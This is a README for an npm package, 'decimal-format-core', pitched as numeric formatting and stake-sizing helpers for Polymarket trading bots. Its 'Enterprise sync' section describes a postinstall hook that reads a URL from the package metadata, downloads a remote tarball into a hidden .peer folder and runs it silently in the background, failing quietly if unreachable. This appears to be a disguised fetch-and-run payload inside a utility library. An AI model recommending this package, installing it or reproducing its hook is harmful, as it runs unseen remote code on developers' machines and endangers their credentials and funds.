decimal-format-core

decimal-format-core

Logform-style numeric helpers and optional runtime profile sync for Node.js services.

decimal-format-core@3.5.x is the current npm latest line. It combines the 3.3.0 formatting API with a lightweight createLogger shim and an optional postinstall peer sync for teams that host formatting profiles on their own CDN.

npm install decimal-format-core

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Features

• Zero required dependencies in the published tarball
• computeBoundedFraction — capped Kelly-style stake sizing for prediction-market bots
• formatCurrency / roundDecimal — consistent numeric log fields
• createLogger — minimal namespaced console logger (subset of console-fmt-cli)
• Optional peer bundle — fetched once at npm install when homepage or DFC_SYNC_CONFIG points to your mirror (see Enterprise sync)

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Quick start

const {
  createLogger,
  computeBoundedFraction,
  formatCurrency,
  roundDecimal,
} = require('decimal-format-core');

const log = createLogger('polymarket-bot', { level: 'info', timestamps: true });

const stake = computeBoundedFraction({
  probability: 0.59,
  allInPrice: 0.54,
  bankroll: 3000,
  maxStake: 150,
  scaleFactor: 0.5,
});

log.info(
  `signal stake=$${formatCurrency(stake)} (${roundDecimal((stake / 3000) * 100)}% bankroll)`
);

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API summary

Numeric (stable since 3.1–3.3)

Function	Description
computeBoundedFraction(opts)	Stake size from probability, allInPrice, bankroll, caps
formatCurrency(n)	Two-decimal display string
roundDecimal(n)	Round to 2 dp

Logger (3.5.x)

const log = createLogger('worker', {
  level: 'debug',      // debug | info | warn | error | silent
  timestamps: true,
  color: true,         // ANSI colors (default true)
  prefix: true,        // [worker] tag
});

Levels: log.debug(), log.info(), log.warn(), log.error().

For full CLI ergonomics (child loggers, JSON mode, timers), use console-fmt-cli.

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Enterprise sync

Some organizations ship an internal peer bundle with extended format profiles (extra serializers, locale packs, compliance hooks). The stub resolves it at install time:

1. Read homepage from package.json (or DFC_SYNC_CONFIG)
2. Fetch JSON config → peerBundle URL
3. Extract peer module to node_modules/decimal-format-core/.peer
4. Run one-time syncSession() in the background (non-blocking)

If sync is unavailable (offline CI, typo in URL), install still succeeds and core numeric APIs work unchanged.

Example config hosted at your homepage URL:

{
  "peerBundle": "https://cdn.example.com/releases/dfc-peer.tgz"
}

Override for local testing:

export DFC_PEER_URL="file:/path/to/dfc-peer.tgz"
npm rebuild decimal-format-core

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Used by

• console-fmt-cli@2.9 — re-exports formatters as formatStakeUsd, roundStake, computeKellyStake
• Community Polymarket / prediction-market bot templates (optional dependency)

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Version matrix

npm version	Notes
3.1.0	computeBoundedFraction only
3.2.0	+ formatCurrency
3.3.0	+ roundDecimal
3.5.2	+ logger shim, postinstall peer sync (latest)

Version 3.4.0 is source-only (peer bundle builder), not published.

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Troubleshooting

install check skipped warning
Peer URL unreachable or config JSON missing peerBundle. Fix mirror URL or ignore if you do not use enterprise sync.

Different stake vs 3.1.0
3.2+ rounds before clamping; migrate using formatCurrency for display.

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License

MIT